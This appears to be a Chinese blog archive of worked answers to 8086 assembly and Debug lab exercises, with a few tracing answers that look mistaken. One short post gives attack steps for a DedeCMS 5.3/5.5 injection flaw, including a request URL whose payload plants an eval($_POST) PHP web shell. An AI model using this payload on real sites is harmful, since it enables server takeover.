十 08
(1) 编程,向内存0:200~0:23F依次传送数据0~63(3FH)。
(2) 编程,向内存0:200~0:23F依次传送数据0~63(3FH),程序中只能使用9条指令,9条指令中包括“mov ax,4cooh”和“int 21h”。
assume cs:code
code segment
mov ax,0020H
mov ds,ax
mov bx,0
mov cx,64
s:mov ds:[bx],bl ; bl存储低8位1字节数据
inc bx
loop s
mov ax,4C00H
int 21H
code ends
end
(3) 下面的程序功能是将“mov ax,4c00h”之前的指令复制到内存0:200处,补全程序。上机调试,跟踪运行结果。
assume cs:code
code segment
mov ax,cs ; CS存储的是代码段地址
mov ds,ax
mov ax,0020H
mov es,ax ; 目标段地址存储在ES寄存器中
mov bx,0
mov cx,cx ; CX存放的是程序的长度
s:mov al,[bx]
mov es:[bx],al
inc bx
loop s
mov ax,4C00H
int 21H
code ends
end

(1) 复制的是什么?从哪里到哪里?
答:复制的是代码的二进制数据,从CS:0到ES:0。
(2) 复制的是什么?有多少个字节?你如何知道要复制的字节的数量?
答:复制的是代码的二进制数据,有cx个字节,因为CX存放的是程序的长度。
十 07
(1) 将下面的程序保存为t1.asm文件,将其生成可执行文件t1.exe。
assume cs:codesg
codesg segment
mov ax,2000H
mov ss,ax
mov sp,0
add sp,10
pop ax
pop bx
push ax
push bx
pop ax
pop bx
mov ax,4c00H
int 21H
codesg ends
end
(2) 用Debug跟踪t1.exe的执行过程,写出每一步执行后,相关寄存器中的内容和栈顶的内容。
(3) PSPR头两个字节是CD 20,用Debug加载t1.exe,查看PSP的内容。
输入命令:
debug t1.exe
d ds:0 ff
十 06
(1) 使用Debug,将下面的程序段写入内存,逐条执行,根据指令执行后的实际运行情况填空。
mov ax,ffff
mov ds,ax
mov ax,2200
mov ss,ax
mov sp,0100
mov ax,[0] ;ax=5BEA
add ax,[2] ;ax=5CCA
mov bx,[4] ;bx=30F0
add bx,[6] ;bx=6021
push ax ;sp=00FE; 修改的内存单元地址是220FE内容为5CCA
push bx ;sp=00FC; 修改的内存单元地址是220FC内容为6021
pop ax ;sp=00FE; ax=6021
pop bx ;sp=0100; bx=5CCA
push [4] ;sp=00FE; 修改的内存单元地址是220FE内容为30F0
push [6] ;sp=00FC; 修改的内存单元地址是220FC内容为2F31
(2) 仔细观察图3.19中的实验过程,然后分析:为什么2000:0~2000:f中的内容会发生改变?
可能要再做些实验才能发现其中的规律。如果你在这里就正确回答了这个问题,那么要恭喜你,因为你有很好的悟性。大多数的学习者对这个问题还是比较迷惑的,不过不要紧,因为随着课程的进行,这个问题的答案将逐渐变得显而易见。

图3.19 用Debug进行的实验
八 23
(1) 补全下面的程序,使其可以将10000H~1000FH中的8个字,逆序复制到20000H~2000FH中。逆序复制的含义如图3.17所示(图中内存里的数据均为假设)。

图3.17 逆序复制示意图
mov ax, 1000H
mov ds, ax
mov ax, 2000H
mov ss, ax
mov sp, 0010H
push [0]
push [2]
push [4]
push [6]
push [8]
push [A]
push [C]
push [E]
(2) 补全下面的程序,使其可以将 10000H~1000FH 中的8个字,逆序复制到20000H~2000FH中。
mov ax, 2000H
mov ds, ax
mov ax, 1000H
mov ss, ax
mov sp, 0000H
pop [E]
pop [C]
pop [A]
pop [8]
pop [6]
pop [4]
pop [2]
pop [0]
八 10
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。
假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息

注入成功
Continue reading »
八 07
(1) 在Debug中,用户”d 0:0 1F” 查看内存,结果如下。
0000:0000 70 80 F0 30 EF 60 30 E2-00 80 12 66 20 22 60
0000:0010 62 26 E6 D6 CC 2E 3C 3B-AB BA 00 00 26 06 66 88
下面的程序执行前,AX=0,BX=0,写出每条汇编指令执行后相关寄存器中的值。
Continue reading »
八 02
2.实验任务
(1)使用Debug,将下面的程序段写入内存,逐条执行,观察每条指令执行后,CPU中相关寄存器中内容的变化。
注意在进入debug模式时 AX 和 BX 的初始数据为 0000H
机器码 汇编指令
b8 20 4e mov ax,4E20H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=4E20H
05 16 14 add ax,1416H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=6236H
bb 00 20 mov ax,2000H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX =2000H
01 d8 add ax,bx 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2000H,BX=0000H
89 c3 mov bx,ax 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2000H,BX=2000H
01 d8 add ax,bx 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=4000H,BX=2000H
b8 1a 00 mov ax,001AH 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=001AH,BX=2000H
bb 26 00 mov bx,0026H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=001AH,BX=0026H
00 d8 add al,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=0026H
00 dc add ah,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=0026H
00 c7 add bh,al 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=4026H
b4 00 mov ah,0 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=4026H
00 d8 add al,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0066H,BX=4026H
04 9c add al,9CH 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0002H,BX=4026H
注意,以上结果是102H,担al是8位寄存器,高位1不能存放在al中
提示,可用E命令和A命令以两种方式将将指令写入内存。注意用T命令执行时,CS:IP的指向。
Continue reading »
七 31
下面的3条指令执行后,CPU几次修改IP??都是在什么时候?最后IP中的值是多少?
mov ax, bx
sub ax, ax
jmp ax
指令序列:
mov ax, bx 读取这个指令进入指令缓冲器后第一次修改IP,IP = IP + 2; 执行后 ax = bx;
sub ax, ax 读取这个指令进入指令缓冲器后第二次修改IP,IP = IP + 2; 执行后 ax = 0000H;
jmp ax 读取这个指令进入指令缓冲器后第三次修改IP, IP = IP + 2; 指令执行后第四次修改IP,IP = 0000H;
Continue reading »